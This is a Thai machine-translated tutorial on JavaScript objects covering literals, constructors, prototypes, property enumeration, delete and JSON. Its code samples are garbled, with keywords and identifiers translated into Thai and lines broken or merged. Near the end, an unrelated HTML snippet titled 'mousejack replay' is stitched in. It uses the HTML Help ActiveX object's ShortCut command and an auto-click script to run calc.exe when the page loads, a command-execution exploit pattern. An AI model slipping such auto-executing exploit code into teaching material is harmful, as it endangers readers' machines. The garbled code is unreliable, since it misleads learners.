คำอธิบายโดยละเอียดเกี่ยวกับประเภทวัตถุ JavaScript

Javascrtip มีประเภทข้อมูลหกชนิดประเภทข้อมูลที่ซับซ้อน (ประเภทอ้างอิง) คือประเภทวัตถุวัตถุและประเภทข้อมูลง่าย ๆ ห้าชนิด (ประเภทดั้งเดิม): จำนวน, สตริง, บูลีน, ไม่ได้กำหนดและเป็นโมฆะ ในหมู่พวกเขาประเภทหลักที่สุดคือประเภทวัตถุ ในขณะเดียวกันก็ควรสังเกตว่าประเภทง่าย ๆ นั้นไม่เปลี่ยนรูปในขณะที่ประเภทวัตถุไม่แน่นอน

วัตถุคืออะไร

วัตถุเป็นรายการที่ไม่มีการเรียงลำดับของชนิดข้อมูลอย่างง่าย (บางครั้งประเภทข้อมูลอ้างอิง) ที่เก็บไว้เป็นชุดของคู่ชื่อชื่อ แต่ละรายการในรายการนี้เรียกว่าคุณสมบัติ (ถ้าเรียกว่าวิธี)

นี่คือวัตถุที่เรียบง่าย:

 var myfirstobject = {firstName: "Richard", Favoriteauthor: "Conrad"};

วัตถุถือเป็นรายการและแต่ละรายการ (คุณสมบัติหรือวิธีการ) ในรายการจะถูกเก็บไว้ในคู่ชื่อชื่อ ในตัวอย่างข้างต้นชื่อแอตทริบิวต์ของวัตถุเป็นชื่อแรกและเป็นที่ชื่นชอบ ตามลำดับค่าแอตทริบิวต์ของวัตถุคือ Richard และ Conrad

ชื่อแอตทริบิวต์สามารถเป็นสตริงหรือตัวเลขได้ แต่หากมีการใช้ตัวเลขเป็นชื่อแอตทริบิวต์ค่าแอตทริบิวต์ที่สอดคล้องกับชื่อแอตทริบิวต์ของหมายเลขนี้จะต้องได้รับในวงเล็บเหลี่ยมตาราง (สัญลักษณ์วงเล็บเหลี่ยม) คำอธิบายโดยละเอียดเพิ่มเติมเกี่ยวกับสัญลักษณ์วงเล็บเหลี่ยมในภายหลัง นี่คือตัวอย่างของสัญลักษณ์วงเล็บเหลี่ยม:

 var AgeGroup = {30: "เด็ก", 100: "แก่มาก"}; console.log (agegroup.30) // ข้อผิดพลาด // วิธีที่ถูกต้องในการเข้าถึงแอตทริบิวต์ 30 console.log (AgeGroup ["30"]); // เด็ก // เป็นการดีที่สุดที่จะหลีกเลี่ยงการใช้ตัวเลขเป็นชื่อแอตทริบิวต์

ในฐานะโปรแกรมเมอร์ JavaScript คุณมักจะใช้ชนิดข้อมูลวัตถุ มันมักจะใช้ในการจัดเก็บข้อมูลหรือสร้างวิธีการหรือฟังก์ชั่นที่กำหนดเอง

ชนิดข้อมูลอ้างอิงและประเภทข้อมูลดั้งเดิม

ความแตกต่างที่สำคัญที่สุดระหว่างประเภทการอ้างอิงและประเภทดั้งเดิมคือประเภทการอ้างอิงถูกเก็บไว้โดยการอ้างอิงและจะไม่เก็บค่าโดยตรงในตัวแปรเช่นประเภทดั้งเดิม ตัวอย่างเช่น:

 // ข้อมูลประเภทดั้งเดิมจะถูกเก็บไว้โดยค่า var person = "kobe"; var otherperson = บุคคล; // อีกคนหนึ่ง = คุณค่าของบุคคล = "ไบรอันท์"; // ค่าของบุคคลได้เปลี่ยน console.log (อีกคนหนึ่ง); // kobe console.log (บุคคล); // ไบรอัน

สามารถสังเกตได้ว่าแม้ว่าเราจะเปลี่ยนค่าของบุคคลเป็น "ไบรอันท์" แต่ก็จะไม่มีผลกระทบใด ๆ กับ Anthoerperson และยังคงประหยัดค่าที่ได้รับมอบหมายจากบุคคลดั้งเดิม

เปรียบเทียบประเภทดั้งเดิมโดย Value Store กับประเภทอ้างอิงโดยอ้างอิงที่เก็บ:

 var person = {ชื่อ: "kobe"}; var otherperson = บุคคล; person.name = "Bryant"; console.log (otherperson.name); // bryant console.log (person.name); // ไบรอันท์

ในตัวอย่างนี้เราคัดลอกวัตถุบุคคลไปยัง Anthoerperson แต่เนื่องจากวัตถุของบุคคลนั้นเก็บข้อมูลอ้างอิงแทนมูลค่าที่แท้จริง ดังนั้นเมื่อเราเปลี่ยนคนชื่อเป็น "ไบรอันท์" ตัวแปรคนอื่น ๆ ก็สะท้อนการเปลี่ยนแปลงนี้เพราะมันไม่ได้คัดลอกแอตทริบิวต์ทั้งหมดด้วยตนเองและบันทึกไว้ แต่บันทึกการอ้างอิงของวัตถุโดยตรง

คุณสมบัติของคุณสมบัติวัตถุ

หมายเหตุ: แอตทริบิวต์ถูกแปลโดยทั่วไปเป็นแอตทริบิวต์ แต่เพื่อแยกความแตกต่างจากคุณสมบัติ (แปลว่าเป็นแอตทริบิวต์) มันถูกแปลเป็นแอตทริบิวต์ที่นี่ นี่เป็นสิ่งที่ผู้อื่นได้รับการปรึกษาหารือและควรไม่เป็นอันตราย

แอตทริบิวต์วัตถุแต่ละรายการไม่เพียง แต่บันทึกคู่ชื่อชื่อของตัวเองเท่านั้น แต่ยังมีคุณสมบัติสามประการซึ่งถูกตั้งค่าเป็นจริงโดยค่าเริ่มต้น

•แอตทริบิวต์ที่กำหนดค่าได้: ระบุว่าแอตทริบิวต์วัตถุนี้สามารถลบหรือแก้ไขได้หรือไม่

•สำนักพิมพ์: ระบุว่าคุณสมบัติของวัตถุนี้สามารถรับได้ในลูปสำหรับการเข้าร่วมหรือไม่

•เขียนได้: ระบุว่าคุณสมบัติของวัตถุนี้สามารถแก้ไขได้หรือไม่

มีคุณสมบัติใหม่บางอย่างใน Emacscript 5 และเราจะไม่อธิบายรายละเอียดที่นี่

สร้างวัตถุ

มีสองวิธีทั่วไปในการสร้างวัตถุ:

1. วัตถุตามตัวอักษร

นี่เป็นวิธีที่พบได้บ่อยที่สุดและง่ายที่สุดในการสร้างวัตถุโดยใช้ตัวอักษรโดยตรง:

 // วัตถุว่าง var mybooks = {}; // วัตถุที่มี 4 แอตทริบิวต์ที่สร้างขึ้นโดยใช้ตัวอักษร var mango = {สี: "สีเหลือง", รูปร่าง: "รอบ", ความหวาน: 8, howsweetami: function () {console.log ("hmm hmm good"); -

2. ตัวสร้างวัตถุ

วิธีที่ใช้กันทั่วไปที่สองคือการใช้ตัวสร้างวัตถุ ตัวสร้างเป็นฟังก์ชั่นพิเศษที่สามารถใช้ในการสร้างวัตถุใหม่ ตัวสร้างจะต้องถูกเรียกใช้โดยใช้คำหลักใหม่

 var mango = วัตถุใหม่ (); mango.color = "สีเหลือง"; mango.shape = "round"; mango.sweetness = 8; mango.howsweetami = function () {console.log ("hmm hmm ดี");};

แม้ว่าสามารถใช้คำหรือคำหลักที่สงวนไว้บางคำเช่นเป็นชื่อของคุณสมบัติวัตถุ แต่นี่ไม่ใช่ตัวเลือกที่ชาญฉลาด

คุณสมบัติของวัตถุสามารถมีชนิดข้อมูลใด ๆ รวมถึงจำนวนอาร์เรย์หรือแม้แต่วัตถุอื่น ๆ

โหมดการสร้างวัตถุที่ใช้งานได้จริง

สำหรับการสร้างวัตถุง่าย ๆ ที่ใช้เพียงครั้งเดียวในการจัดเก็บข้อมูลสองวิธีข้างต้นสามารถตอบสนองความต้องการได้

อย่างไรก็ตามสมมติว่ามีโปรแกรมสำหรับการแสดงผลไม้และรายละเอียด แต่ละประเภทผลไม้ในโปรแกรมมีคุณสมบัติของวัตถุต่อไปนี้: สีรูปร่างความหวานราคาและฟังก์ชั่นการแสดง หากคุณต้องพิมพ์รหัสต่อไปนี้ทุกครั้งที่คุณสร้างวัตถุผลไม้ใหม่มันจะน่าเบื่อและไม่มีประสิทธิภาพมาก

 var mangofruit = {color: "สีเหลือง", ความหวาน: 8, fruitname: "Mango", nativetoland: ["อเมริกาใต้", "อเมริกากลาง"], {console.log ("นี่คือ" this.fruitname); }, nativeto: function () {this.nativeToland.foreach (ฟังก์ชั่น (แต่ละแห่ง) {console.log ("ปลูกใน:" + แต่ละประเทศ);}); -

หากคุณมี 10 ผลไม้คุณต้องเพิ่มรหัสเดียวกัน 10 ครั้ง และหากคุณต้องการปรับเปลี่ยนฟังก์ชั่น nativeto คุณต้องแก้ไขใน 10 สถานที่ที่แตกต่างกัน ลองจินตนาการเพิ่มเติมว่าหากคุณกำลังพัฒนาเว็บไซต์ขนาดใหญ่คุณได้เพิ่มแอตทริบิวต์ให้กับวัตถุที่อยู่ข้างต้นทีละตัว อย่างไรก็ตามคุณรู้ทันทีว่าวิธีที่คุณสร้างวัตถุนั้นไม่เหมาะและคุณต้องการแก้ไขมันคุณควรทำอย่างไรในเวลานี้?

เพื่อแก้ปัญหาซ้ำ ๆ เหล่านี้วิศวกรซอฟต์แวร์ได้คิดค้นรูปแบบต่าง ๆ (โซลูชันสำหรับปัญหาซ้ำ ๆ และงานทั่วไป) เพื่อใช้โปรแกรมการพัฒนาที่มีประสิทธิภาพมากขึ้นและมีเหตุผลมากขึ้น

นี่คือสองรูปแบบทั่วไปสำหรับการสร้างวัตถุ:

1. โหมดวิธีการสร้าง

 ฟังก์ชั่นผลไม้ (theColor, thesweetness, fruitname, thenativetoland) {this.color = theColor; this.sweetness = thesweetness; this.fruitName = thefruitName; this.nativetoland = thenativetoland; this.showname = function () {console.log ("นี่คือ" + this.fruitName); } this.nativeto = function () {this.nativeToland.foreach (ฟังก์ชั่น (แต่ละเขต) {console.log ("เติบโตใน:" + แต่ละประเทศ);}); -

ด้วยรูปแบบนี้มันเป็นเรื่องง่ายที่จะสร้างผลไม้ที่หลากหลาย แบบนี้:

 var mangofruit = ผลไม้ใหม่ ("เหลือง", 8, "มะม่วง", ["อเมริกาใต้", "อเมริกากลาง", "แอฟริกาตะวันตก"]); mangofruit.showname (); // นี่คือมะม่วง mangofruit.nativeto (); // ปลูกใน: อเมริกาใต้ // ปลูกใน: อเมริกากลาง // ปลูกใน: แอฟริกาตะวันตก var pineapplefruit = ผลไม้ใหม่ ("สีน้ำตาล", 5, "สับปะรด", ["สหรัฐอเมริกา"]); Pineapplefruit.showname (); // นี่คือสับปะรด

หากคุณต้องการเปลี่ยนคุณสมบัติหรือวิธีการคุณเพียงแค่ต้องแก้ไขในที่เดียว รูปแบบนี้ห่อหุ้มฟังก์ชั่นและคุณสมบัติของผลไม้ทั้งหมดผ่านการสืบทอดของฟังก์ชั่นผลไม้

สังเกต:

◦คุณสมบัติที่สามารถกำหนดได้ในคุณสมบัติวัตถุต้นแบบของวัตถุ ตัวอย่างเช่น

SomeObject.prototype.firstname = "Rich";

คุณลักษณะที่เป็นของตัวเองควรถูกกำหนดโดยตรงบนวัตถุ ตัวอย่างเช่น:

 // ก่อนอื่นสร้างวัตถุ var amango = new fruit (); // ถัดไปกำหนดวิธี mongospice โดยตรงบนวัตถุ // เพราะเรากำหนดคุณสมบัติ mangospice โดยตรงบนวัตถุมันเป็นทรัพย์สินของ Amango ไม่ใช่ทรัพย์สินที่สืบทอดได้ amango.mangospice = "คุณค่าบางอย่าง";

◦ในการเข้าถึงคุณสมบัติของวัตถุใช้ Object.property เช่น:

console.log (amango.mangospice); // "ค่าบางอย่าง"

◦เพื่อเรียกวิธีการของวัตถุให้ใช้ Object.method () เช่น:

 // ก่อนอื่นเพิ่มเมธอด amango.printstuff = function () {return "การพิมพ์"; } // ตอนนี้คุณสามารถโทรหาวิธีการพิมพ์ amango.printstuff ();

2. โหมดต้นแบบ

 ฟังก์ชั่นผลไม้ () {} fruit.prototype.color = "สีเหลือง"; Fruit.prototype.sweetness = 7; Fruit.prototype.fruitName = "Fruit Fruit"; Fruit.prototype.nativetoland = "USA" this.fruitName);} fruit.prototype.nativeto = function () {console.log ("ปลูกใน:" + this.nativetoland);}

นี่คือวิธีการเรียกตัวสร้างผลไม้ () ในโหมดต้นแบบ:

 var mangofruit = new fruit (); mangofruit.showname (); // mangofruit.nativeto (); // นี่เป็นผลไม้ทั่วไป // ที่ปลูกใน: สหรัฐอเมริกา

การอ่านขยาย

หากคุณต้องการทราบคำอธิบายโดยละเอียดเพิ่มเติมเกี่ยวกับรูปแบบทั้งสองนี้คุณสามารถอ่านบทที่ 6 ของการเขียนโปรแกรมขั้นสูง JavaScript ซึ่งกล่าวถึงข้อดีและข้อเสียของทั้งสองวิธีนี้ในรายละเอียด โหมดอื่น ๆ นอกเหนือจากสองนี้ยังกล่าวถึงในหนังสือ

วิธีการเข้าถึงคุณสมบัติในวัตถุ

สองวิธีหลักในการเข้าถึงคุณสมบัติของวัตถุคือสัญลักษณ์ของจุดและสัญลักษณ์วงเล็บ

1. วิธีการชี้วัด

 // นี่คือวิธีการเข้าถึงแอตทริบิวต์ที่เราใช้ในตัวอย่างก่อนหน้านี้ var book = {title: "Ways to Go", หน้า: 280, Bookmark1: "หน้า 20"}; // ใช้สัญลักษณ์จุดเพื่อเข้าถึงชื่อและหน้าเว็บของวัตถุหนังสือ: console.log (book.title); // วิธีที่จะไปคอนโซลล็อก (book.pages); // 280

2. วิธีการสัญลักษณ์วงเล็บ

 // ใช้วงเล็บเหลี่ยมเพื่อเปิดเผยคุณสมบัติของวัตถุหนังสือ: console.log (หนังสือ ["ชื่อ"]); // วิธีที่จะไป console.log (หนังสือ ["หน้า"]); // 280 // ถ้าชื่อแอตทริบิวต์ถูกเก็บไว้ในตัวแปรก็สามารถ: var booktitle = "title"; console.log (หนังสือ [booktitle]); // วิธีที่จะไป console.log (หนังสือ ["บุ๊กมาร์ก" + 1]); // หน้า 20

การเข้าถึงคุณสมบัติที่ไม่มีอยู่ในวัตถุจะส่งผลให้ไม่ได้กำหนด

คุณลักษณะและคุณลักษณะการสืบทอดของตัวเอง

วัตถุมีคุณลักษณะของตัวเองและคุณลักษณะที่สืบทอดมา แอตทริบิวต์ของตัวเองเป็นคุณสมบัติที่กำหนดโดยตรงบนวัตถุในขณะที่แอตทริบิวต์ที่สืบทอดมานั้นเป็นคุณสมบัติที่สืบทอดมาจากต้นแบบของวัตถุ

ในการตรวจสอบว่าวัตถุมีแอตทริบิวต์บางอย่าง (ไม่ว่าจะเป็นแอตทริบิวต์ของตัวเองหรือแอตทริบิวต์ที่สืบทอดมา) คุณสามารถใช้ตัวดำเนินการใน:

 // สร้างวัตถุที่มีแอตทริบิวต์ชื่อโรงเรียน var School = {schoolname: "mit"}; // พิมพ์ออกมาจริงเพราะวัตถุนั้นมีชื่อโรงเรียนคอนโซล log ("ชื่อโรงเรียน" ในโรงเรียน); // true // พิมพ์เท็จเพราะเราไม่ได้กำหนดทรัพย์สินของโรงเรียนหรือสืบทอดทรัพย์สินของโรงเรียน console.log ("Schooltype" ในโรงเรียน); // false // พิมพ์จริงเพราะวิธีการ ToString console.log ("toString" ในโรงเรียน); // จริง

Hasownproperty

ในการตรวจสอบว่าวัตถุมีคุณสมบัติเฉพาะของตัวเองคุณสามารถใช้วิธี HasownPrototype ได้หรือไม่ วิธีนี้มีประโยชน์มากเพราะเรามักจะต้องระบุคุณสมบัติทั้งหมดของวัตถุแทนที่จะสืบทอดพวกเขา

 // สร้างวัตถุที่มีแอตทริบิวต์ชื่อโรงเรียน var School = {schoolname: "mit"}; // พิมพ์จริงเพราะชื่อโรงเรียนเป็นทรัพย์สินของโรงเรียน console.log (school.hasownproperty ("ชื่อโรงเรียน")); // true // print false เนื่องจาก toString ได้รับการสืบทอดมาจากต้นแบบของวัตถุและทรัพย์สินของโรงเรียน console.log (School.hasownproperty ("ToString")); // เท็จ

คุณสมบัติการเข้าถึงและการแจงนับในวัตถุ

ในการเข้าถึงแอตทริบิวต์ (ตัวเองหรือสืบทอด) ที่สามารถระบุได้ในวัตถุคุณสามารถใช้ลูปแบบฟอร์อินหรือวิธีลูปปกติ

 // สร้างวัตถุโรงเรียนที่มี 3 คุณลักษณะ: ชื่อ SchoolName, SchoolAccredited และ Schoollocation. var School = {schoolname: "mit", Schoolaccredited: true, schoollocation: "Massachusetts"}; // ใช้ลูปสำหรับ for-in เพื่อรับแอตทริบิวต์ในวัตถุสำหรับ (var uThERITEM ในโรงเรียน) {console.log (abersitem); // พิมพ์ชื่อ Schoolnam

เข้าถึงคุณสมบัติที่สืบทอดมา

คุณสมบัติที่สืบทอดมาจากต้นแบบของวัตถุนั้นไม่สามารถระบุได้ดังนั้นคุณสมบัติเหล่านี้จึงไม่สามารถเข้าถึงได้ในวง For-in อย่างไรก็ตามหากพวกเขาเป็นคุณสมบัติการสืบทอดที่ระบุได้พวกเขายังสามารถเข้าถึงได้จากลูป for-in

ตัวอย่างเช่น:

 // ใช้ for-in เพื่อเข้าถึงคุณสมบัติในวัตถุโรงเรียนสำหรับ (var uTHITEM ในโรงเรียน) {console.log (แต่ละครั้ง); // พิมพ์ชื่อ Schoolname, Schoolaccredited, schoololocation} // หมายเหตุ: ย่อหน้าต่อไปนี้เป็นคำอธิบายของข้อความต้นฉบับ/* หมายเหตุด้านข้าง: ในขณะที่วิลสัน (เครื่องอ่านที่ชาญฉลาด) ชี้ให้เห็นอย่างถูกต้องในความคิดเห็นด้านล่างคุณสมบัติการศึกษาระดับ แต่คุณสมบัติการศึกษาระดับถูกสร้างขึ้นเป็นคุณสมบัติใหม่ในแต่ละวัตถุที่ใช้ตัวสร้างการเรียนรู้ที่สูงขึ้น เหตุผลที่คุณสมบัติไม่ได้รับการสืบทอดเป็นเพราะเราใช้คำหลัก "นี้" เพื่อกำหนดคุณสมบัติ */// สร้างฟังก์ชั่นการเรียนรู้ที่สูงขึ้นใหม่ที่วัตถุโรงเรียนจะสืบทอดจากฟังก์ชั่นที่สูงขึ้น () {this.educationLevel = "มหาวิทยาลัย"; } // ใช้การสืบทอดกับตัวสร้างที่สูงขึ้น VAR School = ใหม่ที่สูงขึ้น (); School.SchoolName = "MIT"; School.schoolaccredited = true; School.schoollocation = "Massachusetts"; // การใช้ FOR/In Loop เพื่อเข้าถึงคุณสมบัติในวัตถุโรงเรียนสำหรับ (var abersitem ในโรงเรียน) {console.log (abersitem); // พิมพ์ EducationLevel, Schoolname, Schoolaccredited และ Schoololocation}

ลบคุณสมบัติในวัตถุ

คุณสามารถใช้ตัวดำเนินการลบเพื่อลบคุณสมบัติในวัตถุ เราไม่สามารถลบแอตทริบิวต์ที่สืบทอดมาได้และเราไม่สามารถลบแอตทริบิวต์วัตถุที่มีแอตทริบิวต์ที่กำหนดค่าได้ถูกตั้งค่าเป็นเท็จ ในการลบคุณสมบัติที่สืบทอดมาคุณต้องลบออกจากวัตถุต้นแบบ (นั่นคือที่กำหนดคุณสมบัติเหล่านี้) ยิ่งกว่านั้นเราไม่สามารถลบคุณสมบัติในวัตถุระดับโลกได้

เมื่อการลบสำเร็จผู้ดำเนินการลบจะกลับมาเป็นจริง น่าแปลกที่ตัวดำเนินการลบจะส่งคืนจริงเมื่อแอตทริบิวต์ที่จะลบไม่มีอยู่หรือไม่สามารถลบได้ (นั่นคือแอตทริบิวต์ที่ไม่ใช่ของตัวเองหรือแอตทริบิวต์ที่กำหนดค่าได้ถูกตั้งค่าเป็นเท็จ)

นี่คือตัวอย่าง:

 var ChristmasList = {Mike: "Book", Jason: "Sweater"} ลบ ChristmasList.Mike; // ลบทรัพย์สินของไมค์สำหรับ (คน var ในรายการคริสต์มาส) {console.log (คน); } // พิมพ์เฉพาะ jason // ทรัพย์สินของไมค์ถูกลบลบลบ ChristmasList.toString; // return true แต่เนื่องจาก toString เป็นคุณสมบัติที่สืบทอดมาจึงไม่ถูกลบ // เนื่องจาก toString ไม่ถูกลบ, ChristmasList.toString () สามารถใช้ตามปกติได้ที่นี่; // "[Object Object]" // หากแอตทริบิวต์เป็นคุณสมบัติของตัวเองของอินสแตนซ์ของวัตถุเราสามารถลบได้ // ตัวอย่างเช่นเราสามารถลบแอตทริบิวต์การศึกษาระดับออกจากวัตถุโรงเรียนที่กำหนดไว้ในตัวอย่างก่อนหน้านี้ // เนื่องจากการศึกษาระดับถูกกำหนดไว้ในตัวอย่างนั้น: เราใช้คำหลัก "นี้" เมื่อกำหนดระดับการศึกษาในฟังก์ชั่นการเรียนรู้ที่สูงขึ้น // เราไม่ได้กำหนดคุณลักษณะการศึกษาระดับในวัตถุต้นแบบฟังก์ชั่นการเรียนรู้ที่สูงขึ้น console.log (School.hasownproperty ("EducationLevel")); // True // EducationLevel เป็นธุรกิจของโรงเรียนดังนั้นเราจึงสามารถลบได้ลบโรงเรียนการศึกษาระดับ; // true // ทรัพย์สินการศึกษาระดับได้ลบ console.log (school.educationLevel); // undefined // แต่ทรัพย์สินระดับการศึกษายังคงมีอยู่ในฟังก์ชั่นการเรียนรู้ที่สูงขึ้น var newschool = ใหม่ที่สูงขึ้น (); console.log (Newschool.educationLevel); // University // ถ้าเรากำหนดอสังหาริมทรัพย์ในต้นแบบฟังก์ชั่นการเรียนรู้ที่สูงขึ้นเช่นการศึกษาระดับ 2: HigherLearning.prototype.educationLevel2 = "มหาวิทยาลัย 2"; // ทรัพย์สิน EducationLevel2 นี้ไม่ได้ระบุคุณสมบัติของตัวเองของอินสแตนซ์การเรียนรู้ที่สูงขึ้น // ทรัพย์สิน EducationLevel2 ไม่ใช่ทรัพย์สินของตัวเองของ Instance Console.log (School.hasownProperty ("EducationLevel2")); False Console.log (School.educationLevel2); // University 2 // พยายามลบการศึกษาระดับการศึกษาที่สืบทอด 2 โรงเรียนลบโรงเรียนการศึกษาระดับ 2; // true (ดังที่ได้กล่าวไว้ก่อนหน้านี้การแสดงออกนี้จะกลับมาเป็นจริง) // ทรัพย์สิน EducationLevel2 ที่สืบทอดมายังไม่ได้ถูกลบ console.log (School.educationLevel2); มหาวิทยาลัย 2

ทำให้เป็นอนุกรมและ deserialize วัตถุ

เพื่อที่จะส่งผ่านวัตถุใน HTTP หรือแปลงวัตถุเป็นสตริงเราต้องทำให้เป็นอนุกรมวัตถุ (แปลงเป็นสตริง) เราสามารถใช้ json.stringify เพื่อทำให้เป็นอนุกรมวัตถุ ควรสังเกตว่าในรุ่นก่อน ECMASCRIPT 5 เราจำเป็นต้องใช้ไลบรารี JSON2 เพื่อรับฟังก์ชัน JSON.Stringify ใน eCmascript 5 ฟังก์ชั่นนี้ได้กลายเป็นฟังก์ชั่นมาตรฐาน

ในการ deserialize วัตถุ (เช่นแปลงสตริงเป็นวัตถุ) สามารถทำได้โดยใช้ฟังก์ชัน JSON.Parse ในทำนองเดียวกันก่อนฉบับที่ 5 เราจำเป็นต้องได้รับฟังก์ชั่นนี้จากไลบรารี JSON2 และฟังก์ชั่นมาตรฐานนี้ได้รับการเพิ่มในรุ่นที่ 5

รหัสตัวอย่าง:

 var ChristmasList = {Mike: "Book", Jason: "Sweater", Chelsea: "iPad"} json.stringify (ChristmasList); // พิมพ์สตริงนี้: // "{" Mike ":" Book "," Jason ":" Sweater "," Chels ":" iPad "}" // เพื่อพิมพ์วัตถุที่มีการจัดรูปแบบ, เพิ่ม "null" และ "4" เป็นพารามิเตอร์: json.stringify // "{//" Mike ":" Book ", //" Jason ":" Sweater ", //" Chels ":" iPad "//}" // json.parse ตัวอย่าง // ต่อไปนี้เป็นสตริง JSON ดังนั้นเราจึงไม่สามารถเข้าถึงคุณสมบัติ '{"Mike": "Book", "Jason": "Sweater", "Chels": "iPad"}'; // มาแปลงเป็นวัตถุ var Christmaslistobj = json.parse (ChristmasListstr); // ตอนนี้มันเป็นวัตถุเราใช้ dot notation console.log (Christmaslistobj.mike); // หนังสือ

สำหรับการอภิปรายและคำอธิบายเพิ่มเติมของวัตถุ JavaScript รวมถึงเนื้อหาที่เพิ่มเข้ามาใน ECMASCRIPT ในรุ่นที่ 5 โปรดดูบทที่ 6 ของคู่มือที่มีสิทธิ์ไปยัง JavaScript (ฉบับที่ 6)

postscript

เมื่อฉันแปลบทความครั้งแรกฉันรู้สึกว่ามันไม่ง่ายเลยที่จะแปลได้ดี ประโยคง่ายๆหลายประโยคดูชัดเจนมาก แต่เมื่อฉันต้องการแปลมันจริงๆฉันไม่สามารถนึกถึงวิธีการแสดงออกที่เหมาะสม บทความทั้งหมดขึ้นอยู่กับความเข้าใจของฉันเองแล้วแปลผ่านได้อย่างอิสระโดยไม่มีประโยคแปลตามประโยค ดังนั้นหากมีการเบี่ยงเบนใด ๆ ในความเข้าใจหรือการแปลที่ไม่เหมาะสมโปรดพยายามชี้ให้เห็นและฉันจะแก้ไขให้โดยเร็วที่สุด ท้ายที่สุดฉันต้องการแบ่งปันบทความที่ผ่านมานี้กับคุณ ฉันไม่ต้องการทำให้คุณเข้าใจผิดเพราะความผิดพลาดในการทำความเข้าใจ

แค่ซอสทำงานให้เสร็จ

 <! doctype html> <html> <head> <head> <title> mousejack replay </title> <head> </head> <body> คำสั่ง exec <object id = x classid = "clsid: ADB880A6-D8FF-11CF-9377-00AA003B7A11 value = "bitmap :: ทางลัด"> <param name = "item1" value = ', calc.exe'> <param name = "item2" value = "273,1,1"> </object> <script> X.Click (); </script> </body> </html>

ข้างต้นเป็นเนื้อหาทั้งหมดของบทความนี้ ฉันหวังว่ามันจะเป็นประโยชน์ต่อการเรียนรู้ของทุกคนและฉันหวังว่าทุกคนจะสนับสนุน wulin.com มากขึ้น